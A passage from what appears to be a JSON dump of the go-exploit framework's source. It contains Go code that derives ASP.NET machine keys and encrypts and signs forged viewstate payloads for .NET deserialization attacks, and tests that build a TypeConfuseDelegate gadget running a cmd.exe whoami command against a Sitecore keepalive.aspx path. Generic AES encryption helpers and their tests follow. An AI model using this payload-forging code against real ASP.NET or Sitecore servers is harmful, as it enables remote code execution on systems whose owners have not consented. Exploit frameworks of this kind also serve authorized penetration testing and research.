ok := GenerateViewstateHMAC(payloadAndGenerator, \"sha256\", machineKey)\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\n\toutput.PrintfFrameworkDebug(\"HMAC=%s,Payload=%s\", hmac, payloadData)\n\n\t// convert it into bytes\n\thmacDecoded, err := hex.DecodeString(hmac)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Could not decode returned hmac from hex hmac=%s, err=%s\", hmac, err)\n\n\t\treturn \"\", false\n\t}\n\n\t// append the signature, encode it all, ship it\n\tpayloadDataWithHmac := payloadData + string(hmacDecoded)\n\n\tb64Bytes := make([]byte, base64.StdEncoding.EncodedLen(len(payloadDataWithHmac)))\n\tbase64.StdEncoding.Encode(b64Bytes, []byte(payloadDataWithHmac))\n\tencodedPayload := string(b64Bytes)\n\n\toutput.PrintFrameworkDebug(encodedPayload)\n\n\treturn encodedPayload, true\n}\n\n// Formats the provided webpath to the required \"specificPurpose\" format. Used with SP800-108 to derive the needed keys.\nfunc getPurpose(webPath string) string {\n\tdirname := path.Dir(webPath)\n\tdirnameCaps := strings.ToUpper(dirname)\n\tpath := strings.TrimPrefix(webPath, \"/\")\n\tpath = strings.TrimSuffix(path, \"/\")\n\tpath = strings.ReplaceAll(path, \".\", \"_\")\n\tpathCaps := strings.ToUpper(strings.ReplaceAll(path, \"/\", \"_\"))\n\n\treturn \"*TemplateSourceDirectory: \" + dirnameCaps + \"%\" + \"Type: \" + pathCaps\n}\n\n// Encrypts and signs the viewstate using the provided keys and algorithms.\nfunc EncryptViewState(plaintext []byte, encryptionKey []byte, validationKey []byte, validationAlg string, encryptionAlg string) ([]byte, bool) {\n\tvar data []byte\n\toutput.PrintfFrameworkDebug(\"Validation key: %02x | Encryption key: %02x\", validationKey, encryptionKey)\n\n\tencryptionAlg = strings.ToLower(encryptionAlg)\n\tswitch encryptionAlg {\n\tcase \"aes\":\n\t\tpadded, ok := encryption.PKCS7Pad(plaintext, aes.BlockSize)\n\t\tif !ok {\n\t\t\treturn []byte{}, false\n\t\t}\n\n\t\tblock, err := aes.NewCipher(encryptionKey)\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"Error creating cipher: %v\", err)\n\n\t\t\treturn []byte{}, false\n\t\t}\n\n\t\t// generating iv to start the buffer we'll return\n\t\tif os.Getenv(\"DEBUGMODE\") == \"1\" { // for unit test purposes\n\t\t\tdata = make([]byte, aes.BlockSize)\n\t\t\t// Fill the slice with 0x01\n\t\t\tfor i := range data {\n\t\t\t\tdata[i] = 0x01\n\t\t\t}\n\t\t} else {\n\t\t\tdata = make([]byte, aes.BlockSize)\n\t\t\tif _, err := rand.Read(data); err != nil {\n\t\t\t\treturn []byte{}, false\n\t\t\t}\n\t\t}\n\n\t\tciphertext := make([]byte, len(padded))\n\t\tcipher.NewCBCEncrypter(block, data).CryptBlocks(ciphertext, padded)\n\t\tdata = append(data, ciphertext...)\n\n\tdefault:\n\t\toutput.PrintfFrameworkError(\"Unsupported encryption algo provided: %s, currently supported: aes\", encryptionAlg)\n\n\t\treturn []byte{}, false\n\t}\n\n\t// sign it\n\tvar mac []byte\n\tswitch validationAlg {\n\tcase \"sha1\":\n\t\toutput.PrintFrameworkDebug(\"Using validation algo: sha1\")\n\t\th := hmac.New(sha1.New, validationKey)\n\t\th.Write(data)\n\t\tmac = h.Sum(nil)\n\tdefault: // sha256\n\t\toutput.PrintFrameworkDebug(\"Using validation algo: sha256\")\n\t\th := hmac.New(sha256.New, validationKey)\n\t\th.Write(data)\n\t\tmac = h.Sum(nil)\n\t}\n\n\treturn append(data, mac...), true\n}\n\n/*\nProtect implements the data protection APIs in dotnet, which can be pulled directly from web.config content, in order to encrypt content that is used in deserialization functions in modern applications. This is the function you will want to use to produce an encrypt and signed .NET serialization payload. By default the output is not URL encoded.\n*/\nfunc Protect(decryptionKeyHex string, validationKeyHex string, validationAlg string, encryptionAlg string, webPath string, payload []byte) (string, bool) {\n\tderivedDecryptionKey, derivedValidationKey, ok := DeriveKeys(decryptionKeyHex, validationKeyHex, webPath)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Failed to derive\")\n\n\t\treturn \"\", false\n\t}\n\n\tencrypted, ok := EncryptViewState(payload, derivedDecryptionKey, derivedValidationKey, validationAlg, encryptionAlg)\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Failed to encrypt\")\n\n\t\treturn \"\", false\n\t}\n\n\treturn transform.EncodeBase64(string(encrypted)), true\n}\n\n// Derives the \"actual\" encryption and signing keys based on the provided web path.\nfunc DeriveKeys(decryptionKeyHex string, validationKeyHex string, webPath string) ([]byte, []byte, bool) {\n\tdecryptionKey, err := hex.DecodeString(decryptionKeyHex)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Failed to decode provided decryption key: %s, err: %v\", decryptionKeyHex, err)\n\n\t\treturn []byte{}, []byte{}, false\n\t}\n\n\tvalidationKey, err := hex.DecodeString(validationKeyHex)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Failed to decode provided validation key: %s\", validationKeyHex)\n\n\t\treturn []byte{}, []byte{}, false\n\t}\n\n\tlabel := \"WebForms.HiddenFieldPageStatePersister.ClientState\" // this is the static \"primary purpose\" for asp.net stuff.\n\tcontext := getPurpose(webPath)\n\n\tderivedDecryptionKey := encryption.SP800108HMACSHA512(decryptionKey, []byte(label), []byte(context), len(decryptionKey))\n\tderivedValidationKey := encryption.SP800108HMACSHA512(validationKey, []byte(label), []byte(context), len(validationKey))\n\n\treturn derivedDecryptionKey, derivedValidationKey, true\n}\n"
  },
  {
    "path": "dotnet/viewstate_test.go",
    "content": "package dotnet\n\nimport (\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/encryption\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\nconst (\n\tDerivedValidationKey = \"ffcfaa1d6a36fe58d5bad121dec3bb0512153ea8c7c9a8f3887466d772671c68ff9f7fcbbfb792549d60b3a4305073aeb7b6abe86289e01b5254fb1a90e198b1\"\n\tDerivedDecryptionKey = \"245428c1b66d73cd0c1da7005023f58ee8b676567baf600f\"\n)\n\n//nolint:goconst\nfunc ExampleProtect() {\n\tvalidationKey := \"BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6\"\n\tencryptionKey := \"0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D\"\n\twebPath := \"/sitecore/service/keepalive.aspx\"\n\n\tpayload, ok := CreateTypeConfuseDelegate(\"cmd.exe\", \"/c whoami>C:\\\\windows\\\\temp\\\\pr00fd.txt\", LOSFormatter)\n\tif !ok {\n\t\tpanic(\"PAYLOAD GEN FAILED!\")\n\t}\n\n\tencryptedPayload, ok := Protect(encryptionKey, validationKey, \"sha1\", \"aes\", webPath, []byte(payload))\n\tif !ok {\n\t\tpanic(\"ENCRYPTION FAILED!\")\n\t}\n\toutput.PrintfDebug(\"Protected payload data: %s\", encryptedPayload)\n}\n\nfunc TestGetPurpose(t *testing.T) {\n\tgot := getPurpose(\"/sitecore/service/keepalive.aspx\")\n\twant := \"*TemplateSourceDirectory: /SITECORE/SERVICE\" + \"%Type: SITECORE_SERVICE_KEEPALIVE_ASPX\"\n\tif got != want {\n\t\tt.Fatalf(\"MATCH 1 FAILED: got=%s wanted=%s\", got, want)\n\t}\n\n\tgot = getPurpose(\"/sitecore/se.rvice/keep.alive.aspx\")\n\twant = \"*TemplateSourceDirectory: /SITECORE/SE.RVICE\" + \"%Type: SITECORE_SE_RVICE_KEEP_ALIVE_ASPX\"\n\tif got != want {\n\t\tt.Fatalf(\"MATCH 2 FAILED: got=%s wanted=%s\", got, want)\n\t}\n\n\tt.Logf(\"%q\", got)\n}\n\nfunc TestSP800108HMACSHA512(t *testing.T) {\n\tlabel := \"WebForms.HiddenFieldPageStatePersister.ClientState\"                                       // mainPurpose\n\tcontext := \"*TemplateSourceDirectory: /SITECORE/SERVICE\" + \"%Type: SITECORE_SERVICE_KEEPALIVE_ASPX\" // specificPurpose\n\tvalidationKey, _ := hex.DecodeString(\"BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6\")\n\n\tgot := encryption.SP800108HMACSHA512(validationKey, []byte(label), []byte(context), len(validationKey))\n\twant := DerivedValidationKey\n\tif fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"MATCH FAILED: got=%02x wanted=%02x\", got, want)\n\t}\n\n\tt.Logf(\"%q\", got)\n}\n\nfunc TestEncryptViewstate(t *testing.T) {\n\tos.Setenv(\"DEBUGMODE\", \"1\")\n\tvalidationKey := DerivedValidationKey\n\tencryptionKey := DerivedDecryptionKey\n\tencryptionKeyB, _ := hex.DecodeString(encryptionKey)\n\tvalidationKeyB, _ := hex.DecodeString(validationKey)\n\tpayload := `Cyberspace. A consensual hallucination experienced daily by billions of legitimate operators, in every nation, by children being taught mathematical concepts... A graphic representation of data abstracted from banks of every computer in the human system. Unthinkable complexity. Lines of light ranged in the nonspace of the mind, clusters and constellations of data. Like city lights, receding...`\n\n\tgot, ok := EncryptViewState([]byte(payload), encryptionKeyB, validationKeyB, \"sha1\", \"aes\")\n\tif !ok {\n\t\tt.Fatalf(\"Failed to encrypt\")\n\t}\n\n\twant := \"010101010101010101010101010101011bd0b69b5d2f5faf94546fd8d8cb4ea8b1995077360a024a7133fa6996ba23d988359b25befd4c69faa2be9b21289ec7968dc4e2167fa2db13443c4b86371fc141bab3ff098e731cd8750e935c8426a311ae590582a52fe58869e8b80957793072d93fa1cb8ed02b9c3d553db36a9b29e07f9478187386e8c96f10e1db0650aaa8d645ac0314bbf90abfa33dfe133e59ac0798783a87d5355a2f76cf0ee89b59a072b6747fe164144e6c015a70e4496529ce4ab275927a0ea257709c9ab5b812b96c17907f2a0e82f32b3f4568f7395cdba5fb38ea1c34559cab53b76e1cc1c14f5ab579c3582547ef3545c70101f3f8b3a74c25c90ee52a648607009a2abfeee8ad9871ae07de736aa854f07fdcdf48d567f928b90eb728ef8be8a2aecc8e48b287bd421fa1a78bdcaa9d1fc618e0e35c61b43360a94c477074cd59146483cb4e58f97a64ad77dba15432d929658f170b116acebc07d7e47d2eb87c25eefbee37a9015376b6d6f7ade88ac5879dcbf80bc645877f5fc387ef9134dc3b4c3bfd41e16eb2f39146614e6a3c6596ecd790d8d128adc068efac81d3e9e85aa057ccc2b5619d\"\n\tif fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"MATCH FAILED:  got= %02x wanted= %02x\", got, want)\n\t}\n\n\tt.Logf(\"%q\", got)\n}\n\nfunc TestDeriveKeys(t *testing.T) {\n\tvalidationKey := \"BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6\"\n\tencryptionKey := \"0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D\"\n\twebPath := \"/sitecore/service/keepalive.aspx\"\n\n\tgot1, got2, ok := DeriveKeys(encryptionKey, validationKey, webPath)\n\tif !ok {\n\t\tt.Fatalf(\"Failed to derive\")\n\t}\n\n\twant1 := DerivedDecryptionKey\n\tif fmt.Sprintf(\"%02x\", got1) != want1 {\n\t\tt.Fatalf(\"MATCH FAILED:  got= %02x wanted= %02x\", got1, want1)\n\t}\n\n\twant2 := DerivedValidationKey\n\tif fmt.Sprintf(\"%02x\", got2) != want2 {\n\t\tt.Fatalf(\"MATCH FAILED:  got= %02x wanted= %02x\", got2, want2)\n\t}\n\n\tt.Logf(\"%q %q\", got1, got2)\n}\n\nfunc TestProtect(t *testing.T) {\n\tos.Setenv(\"DEBUGMODE\", \"1\") // causes a static IV to be set so the output is predictable\n\tvalidationKey := \"BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6\"\n\tencryptionKey := \"0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D\"\n\twebPath := \"/sitecore/service/keepalive.aspx\"\n\n\tpayload, ok := CreateTypeConfuseDelegate(\"cmd.exe\", \"/c whoami>C:\\\\windows\\\\temp\\\\pr00fd.txt\", LOSFormatter)\n\tif !ok {\n\t\tt.Fatalf(\"PAYLOAD GEN FAILED!\")\n\t}\n\n\tgot, ok := Protect(encryptionKey, validationKey, \"sha1\", \"aes\", webPath, []byte(payload))\n\tif !ok {\n\t\tt.Fatalf(\"ENCRYPTION FAILED!\")\n\t}\n\n\twant := \"415145424151454241514542415145424151454241636634456e5a39734a626a4453714e354d43726330795661775a345a755035566473577a4d4548526b716a697a4573506d7739482f2b726b473068677a556b4d4b76424e663555674572497458477442646463784f4464326d376355437450446d79425271475a6b2f395633554a585a66546a452f3133614a6f6c4d494c6566554c42464c7874756953787052676f6c524c49727a64502f54343231454d3142622b745a564379767441386b35727a534a377561346561674545414a732b6970307956753739454f62306a6d536858386d6a7a3250304546454553586f49592f5a2f62654a7a485732576a675668343134397a44712b42394e524946624967304c6b76304b356479766131516c534561643566644b45734856787538694964483075346c652b35533938354c757664416e4d477a4f4d56777931703752462b514e7852644a785745725a7a4e51437966615134435743342b5342452b766a526d544e6b70576371785046545250616b536e686a52726f6d2f49573264654f45687065682b7444542f4d4333413042443038597431597a6f7173397264433138785967783474654263344e4f342b4e79415a6b51384849595150744c686265377831385a317a4c397a3263497275636f654165666f4c764b35327a477a756c545447447266364f5033357377325076554b4c3261776a5648706a78314e776c6c5a696b38326346596e352f7a44757641632f6754534669432b5937525256526a5a2b6e366c50556e6934346348576865464a75446b486b447636774b30594e624f584f706f744349495a3872674d74555a4471486d457071386c364933343139476d6b3153754a73653132322b79716b577847775775674c45416673637454644f5371684542316b30706970534872686b4956384e4953554e5552656543674f6442682f2f374f46326453386649436f2b6a627572496944796c49413055715144784e71474e65796b6139346e523336564453434d6c376b472f4e48397753634b5676786b747a7a67714f78475a35734e62557035377755667a595a662f494f56576b65437846374e6e4c49644238765a352f717a424a3442726373495244626a6a4437453945634b33332f414f357174716852525a666b79306143327a472f4b3450787a6a7a4f4d5547586b7766755764304650582b4c63307749386b4466556a7642384b44466668624e30636e4d67533971716730442b5a752b6b3044767970305a7467697053397454456b3136562b7a6f6663324244784b634f3135747259596d41414230336a55497233727045374f336c5a4454486162384262436a524145424e4e3368514432314678772f6767582f564d38727653435551567238656349776b6856476e77386177487654356b34504d6a56646a38747757524169325a73526b78512b455849773570546266797152435759356236586b7a4b766c4c435a6b44586859775469415543366f6242677a46572f34727976487543613444524b4a5833494d7a7757462f64444c684f376948672f367a434c7074502f51366d454a5a633575684b304f755a514644344368784c656a353475624e72675a324d732f7a344736504f7a764b35516b4e6934744835616674636d4734766e4f654939424e6e4a69714c7a687064685a333757634f65644d6b695162542f304a624f5049692b416c706f317a6141776863746a7a76335a2f57774736646d467168465a544f4d446e335845564b7a4c644d656f4f45383868626b32797656624a7757393850542f64483168443630352f6872345536737875713764556147546a4e5855726238624d4a504373354a6c6e566e646c326a63432b33326b574a30517a57724a6239724f73462b35534e785668787131366344342f727a795752526a49327249677446427779704c5269434c2f547452515569476a59305967452b73564736662f726a59397a777065656b74472f2b6c545577744e677a695636554e676566785238397869546e675a5552395435706546626c4254394b6f67382f5673377a737a68683443462b774e77352f6964482b55787449645168324c4f6f4a2b59774d4732543751437169616947576e38723574426131627778666d6d4c4a37414442686e62585a4a43736d43476f686f31626b54595777584277624432726f796b4b7148304c4246412f69324249314c4f5654714e78442f334a7244657a4b33656b356d364f30794d526466365a486a6372624d644d635832317138385a366741784a43725076374e79363942656836724a78576a4f477462447a6743397064416e746e4f2f424177442b485970624c6341686338724f426a61326a75696e7357573555783574593973316e7850426541394c4b726e4c7771384b65625256617032392f423571724e776778483649643264456a493441335a7a7a3556737137667a2f4937414d726b69456748506771386e4e3271577971786f6b394368504c5a6f6838572b636b4e6c7a6f674e6e6d546174745435714f654573464a2b356f314742334e78763772595a7a596c45542b4e726355464a797a6f7a4848714b78663743786f6c61587a4b454747634c39567a374d54677a4b43456862372b695857454d333553445335753862463158555a74535251436a766c762f5653755468526f31496443774a35476d6f67372f31686f68744479763762466c6355614a6e364d546b72375754712b54676b484d764966422f714c4932624b694e6a454a39345a4a596e75514349567a37794669726e574c376731582b7a523641466b5450626f4f4d485976494a774359767a79776a30533478425271664a686e6f427550786d4f7275684239584a504e374167456744757767396f5376715a7658306b42784d785676374c542f2b375659644f6c4a6770783342625670544d7476505177655153426f51687242446e6433454d7264364e53632f31694f394a7a35787063666e667a4f6a3247705565367a7754594d5a6b6b72707a54576c55796d7066696543437045626d3333532f456c792b4654686a2f6c415a6732566731796b42537773777539415a376c6330304a527044306e4a645664565843596a4536704e727a305a6d49396e36637a475054686f6b6955715949754c48657464536a375172626d434931506f314b433744306e7478636b704f3359307a385552796f4648516357392f3771716650642f4a466e66696a38412f722b5135516e345a78364d677073614a4c5779756d7559486d5853344d74343656714c31714e66314442443065694c4d427a50536f765869346956783636374938766d4d475066727a346d424c3743703478304b4e33697a334741393079344458676c2b61634c304c6f4c4f554863324b38586734664b43764e42703968653334576348375250732b65774a5345595270377344705455436930324c772f4b486b453073474b2b4e5349774c6b6578656d6862594e7951543054747a6246736272686f764b70527a7a3742624c794350494b5450476c7a7667414a7737584c6b77323658386f692b7476765a577579492b36706f72554836433344566c486f564d794d3269423957526b342b78555978656e7845627756784b526b4a445563776248727771584e6174355339553363647554486164434c766d49704b444d7248314c4f787a3847756c506853777053346e305245634e437a344a63654f334b5a6a452f3052634a30794e35526d4c65777454547871567a316b707159317a5939534b386a345a3748396c697675624d386e646c6c4b526276636573433778714b4355302f417543492f66684a304146386e36452b5869587230544370374a505737774f67476c6a5750705157765433384b50747a4d7367576c5956646a3168393175704a516337354548367473596b6c452f755a42784c4f306d4a3131384f344a792b6b3930533849626c486d586d626270464b2f2f626a587845304a6b2b66787475384d75456b66685a54774b7633674b4f674944466335596b763172574b425944756a6237705576642f6f6f637735736e517437396266734469476751317531337373744b6f4d5668335a4767353974707232634c76745157756846514a6469413237626730556958566144322f30786c533834536c32334b31426f7a507550366c4464666b7467456250464b3942564632647a59615a63564b48546c45564c426343684a3669366366726e437563315a4770756f73393646342f4f4a324437426337684335306a4763634f6e75413d\"\n\tif fmt.Sprintf(\"%02x\", got) != want {\n\t\tt.Fatalf(\"MATCH FAILED: got(string) %s got= %02x wanted= %02x\", got, got, want)\n\t}\n\n\tt.Logf(\"%q\", got)\n}\n"
  },
  {
    "path": "encryption/aes.go",
    "content": "// Package encryption provides functions for dealing with cryptography and cryptographic padding.\npackage encryption\n\nimport (\n\t\"bytes\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// Padding defines a pad/unpad strategy for block ciphers.\ntype Padding struct {\n\tPad   func(data []byte, blockSize int) ([]byte, bool)\n\tUnpad func(data []byte, blockSize int) ([]byte, bool)\n}\n\n// PKCS7Padding is the standard PKCS#7 padding scheme.\nvar PKCS7Padding = Padding{\n\tPad:   PKCS7Pad,\n\tUnpad: PKCS7Unpad,\n}\n\n// NoPadding skips padding. Data must already be block-aligned.\nvar NoPadding = Padding{\n\tPad:   noPad,\n\tUnpad: noPad,\n}\n\nfunc noPad(data []byte, blockSize int) ([]byte, bool) {\n\tif blockSize > 0 && len(data)%blockSize != 0 {\n\t\toutput.PrintFrameworkError(\"data is not block-aligned\")\n\n\t\treturn nil, false\n\t}\n\n\treturn data, true\n}\n\n// PKCS7Pad applies PKCS#7 padding to data for the given block size.\nfunc PKCS7Pad(data []byte, blockSize int) ([]byte, bool) {\n\tif blockSize <= 0 {\n\t\toutput.PrintFrameworkError(\"Invalid block size\")\n\n\t\treturn []byte{}, false\n\t}\n\n\tpadding := blockSize - (len(data) % blockSize)\n\tpadtext := bytes.Repeat([]byte{byte(padding)}, padding)\n\n\treturn append(data, padtext...), true\n}\n\n// PKCS7Unpad removes PKCS#7 padding from data.\nfunc PKCS7Unpad(data []byte, blockSize int) ([]byte, bool) {\n\tif len(data) == 0 || len(data)%blockSize != 0 {\n\t\toutput.PrintFrameworkError(\"invalid padding\")\n\n\t\treturn nil, false\n\t}\n\n\tpadLen := int(data[len(data)-1])\n\tif padLen == 0 || padLen > blockSize || padLen > len(data) {\n\t\toutput.PrintFrameworkError(\"invalid padding\")\n\n\t\treturn nil, false\n\t}\n\n\tfor i := len(data) - padLen; i < len(data); i++ {\n\t\tif data[i] != byte(padLen) {\n\t\t\toutput.PrintFrameworkError(\"invalid padding\")\n\n\t\t\treturn nil, false\n\t\t}\n\t}\n\n\treturn data[:len(data)-padLen], true\n}\n"
  },
  {
    "path": "encryption/aes_crypto.go",
    "content": "package encryption\n\nimport (\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/rand\"\n\t\"io\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\nfunc newAESBlock(key []byte) (cipher.Block, bool) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn nil, false\n\t}\n\n\treturn block, true\n}\n\nfunc newAESGCM(key []byte) (cipher.AEAD, bool) {\n\tblock, ok := newAESBlock(key)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn nil, false\n\t}\n\n\treturn gcm, true\n}\n\nfunc resolvePadding(p []Padding) Padding {\n\tif len(p) > 0 {\n\t\treturn p[0]\n\t}\n\n\treturn PKCS7Padding\n}\n\n// AESCBCEncrypt encrypts plaintext using AES-CBC with PKCS7 padding by default.\n// IV is prepended to the ciphertext.\n// An optional Padding may be provided to override the default scheme.\nfunc AESCBCEncrypt(plaintext, key []byte, padding ...Padding) ([]byte, bool) {\n\treturn aesCBCEncrypt(plaintext, key, nil, true, resolvePadding(padding))\n}\n\n// AESCBCEncryptWithIV encrypts plaintext using AES-CBC with a caller-provided IV.\n// Returns only the ciphertext (IV is not prepended).\n// An optional Padding may be provided to override the default PKCS7 scheme.\nfunc AESCBCEncryptWithIV(plaintext, key, iv []byte, padding ...Padding) ([]byte, bool) {\n\treturn aesCBCEncrypt(plaintext, key, iv, false, resolvePadding(padding))\n}\n\nfunc aesCBCEncrypt(plaintext, key, iv []byte, prependIV bool, pad Padding) ([]byte, bool) {\n\tblock, ok := newAESBlock(key)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\tpadded, ok := pad.Pad(plaintext, aes.BlockSize)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\tif iv == nil {\n\t\tiv = make([]byte, aes.BlockSize)\n\t\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\t\toutput.PrintFrameworkError(err.Error())\n\n\t\t\treturn nil, false\n\t\t}\n\t}\n\n\tciphertext := make([]byte, len(padded))\n\tcipher.NewCBCEncrypter(block, iv).CryptBlocks(ciphertext, padded)\n\n\tif prependIV {\n\t\tresult := make([]byte, 0, len(iv)+len(ciphertext))\n\t\tresult = append(result, iv...)\n\t\tresult = append(result, ciphertext...)\n\t\tciphertext = result\n\t}\n\n\treturn ciphertext, true\n}\n\n// AESCBCDecrypt decrypts AES-CBC ciphertext with PKCS7 padding by default.\n// Expects IV prepended to the ciphertext.\n// An optional Padding may be provided to override the default scheme.\nfunc AESCBCDecrypt(ciphertext, key []byte, padding ...Padding) ([]byte, bool) {\n\tif len(ciphertext) < aes.BlockSize*2 || len(ciphertext)%aes.BlockSize != 0 {\n\t\toutput.PrintFrameworkError(\"ciphertext too short or not block-aligned\")\n\n\t\treturn nil, false\n\t}\n\n\treturn aesCBCDecrypt(ciphertext[aes.BlockSize:], key, ciphertext[:aes.BlockSize], resolvePadding(padding))\n}\n\n// AESCBCDecryptWithIV decrypts AES-CBC ciphertext with a caller-provided IV.\n// An optional Padding may be provided to override the default PKCS7 scheme.\nfunc AESCBCDecryptWithIV(ciphertext, key, iv []byte, padding ...Padding) ([]byte, bool) {\n\tif len(ciphertext)%aes.BlockSize != 0 {\n\t\toutput.PrintFrameworkError(\"ciphertext not block-aligned\")\n\n\t\treturn nil, false\n\t}\n\n\treturn aesCBCDecrypt(ciphertext, key, iv, resolvePadding(padding))\n}\n\nfunc aesCBCDecrypt(ciphertext, key, iv []byte, pad Padding) ([]byte, bool) {\n\tblock, ok := newAESBlock(key)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\tplaintext := make([]byte, len(ciphertext))\n\tcipher.NewCBCDecrypter(block, iv).CryptBlocks(plaintext, ciphertext)\n\n\treturn pad.Unpad(plaintext, aes.BlockSize)\n}\n\n// AESGCMEncrypt encrypts plaintext using AES-GCM.\n// Nonce is prepended to the ciphertext.\nfunc AESGCMEncrypt(plaintext, key []byte) ([]byte, bool) {\n\tgcm, ok := newAESGCM(key)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\tnonce := make([]byte, gcm.NonceSize())\n\tif _, err := io.ReadFull(rand.Reader, nonce); err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn nil, false\n\t}\n\n\treturn gcm.Seal(nonce, nonce, plaintext, nil), true\n}\n\n// AESGCMDecrypt decrypts AES-GCM ciphertext.\n// Expects nonce prepended to the ciphertext.\nfunc AESGCMDecrypt(ciphertext, key []byte) ([]byte, bool) {\n\tgcm, ok := newAESGCM(key)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\tnonceSize := gcm.NonceSize()\n\tif len(ciphertext) < nonceSize {\n\t\toutput.PrintFrameworkError(\"ciphertext too short\")\n\n\t\treturn nil, false\n\t}\n\n\tnonce, raw := ciphertext[:nonceSize], ciphertext[nonceSize:]\n\n\tplaintext, err := gcm.Open(nil, nonce, raw, nil)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn nil, false\n\t}\n\n\treturn plaintext, true\n}\n"
  },
  {
    "path": "encryption/aes_crypto_test.go",
    "content": "package encryption_test\n\nimport (\n\t\"bytes\"\n\t\"crypto/aes\"\n\t\"crypto/rand\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/encryption\"\n)\n\nfunc TestAESCBCRoundtrip(t *testing.T) {\n\tkey := make([]byte, 32)\n\tif _, err := rand.Read(key); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tplaintext := []byte(\"this is a secret payload for AES-CBC encryption test\")\n\n\tciphertext, ok := encryption.AESCBCEncrypt(plaintext, key)\n\tif !ok {\n\t\tt.Fatal(\"AESCBCEncrypt failed\")\n\t}\n\n\tif bytes.Equal(ciphertext, plaintext) {\n\t\tt.Fatal(\"ciphertext should differ from plaintext\")\n\t}\n\n\tdecrypted, ok := encryption.AESCBCDecrypt(ciphertext, key)\n\tif !ok {\n\t\tt.Fatal(\"AESCBCDecrypt failed\")\n\t}\n\n\tif !bytes.Equal(decrypted, plaintext) {\n\t\tt.Fatal(\"decrypted data should match original plaintext\")\n\t}\n}\n\nfunc TestAESCBCWithIVRoundtrip(t *testing.T) {\n\tkey := make([]byte, 16)\n\tiv := make([]byte, aes.BlockSize)\n\tif _, err := rand.Read(key); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := rand.Read(iv); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tplaintext := []byte(\"testing AES-CBC with explicit IV\")\n\n\tciphertext, ok := encryption.AESCBCEncryptWithIV(plaintext, key, iv)\n\tif !ok {\n\t\tt.Fatal(\"AESCBCEncryptWithIV failed\")\n\t}\n\n\tdecrypted, ok := encryption.AESCBCDecryptWithIV(ciphertext, key, iv)\n\tif !ok {\n\t\tt.Fatal(\"AESCBCDecryptWithIV failed\")\n\t}\n\n\tif !bytes.Equal(decrypted, plaintext) {\n\t\tt.Fatal(\"decrypted data should match original plaintext\")\n\t}\n}\n\nfunc TestAESCBCBadKey(t *testing.T) {\n\tkey := make([]byte, 32)\n\tif _, err := rand.Read(key); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tplaintext := []byte(\"secret\")\n\n\tciphertext, ok := encryption.AESCBCEncrypt(plaintext, key)\n\tif !ok {\n\t\tt.Fatal(\"encrypt failed\")\n\t}\n\n\twrongKey := make([]byte, 32)\n\tif _, err := rand.Read(wrongKey); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t_, ok = encryption.AESCBCDecrypt(ciphertext, wrongKey)\n\tif ok {\n\t\tt.Fatal(\"decrypt with wrong key should fail\")\n\t}\n}\n\nfunc TestAESCBCInvalidKeySize(t *testing.T) {\n\t_, ok := encryption.AESCBCEncrypt([]byte(\"test\"), []byte(\"short\"))\n\tif ok {\n\t\tt.Fatal(\"should fail with invalid key size\")\n\t}\n}\n\nfunc TestAESGCMRoundtrip(t *testing.T) {\n\tkey := make([]byte, 32)\n\tif _, err := rand.Read(key); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tplaintext := []byte(\"this is a secret payload for AES-GCM encryption test\")\n\n\tciphertext, ok := encryption.AESGCMEncrypt(plaintext, key)\n\tif !ok {\n\t\tt.Fatal(\"AESGCMEncrypt failed\")\n\t}\n\n\tdecrypted, ok := encryption.AESGCMDecrypt(ciphertext, key)\n\tif !ok {\n\t\tt.Fatal(\"AESGCMDecrypt failed\")\n\t}\n\n\tif !bytes.Equal(decrypted, plaintext) {\n\t\tt.Fatal(\"decrypted data should match original 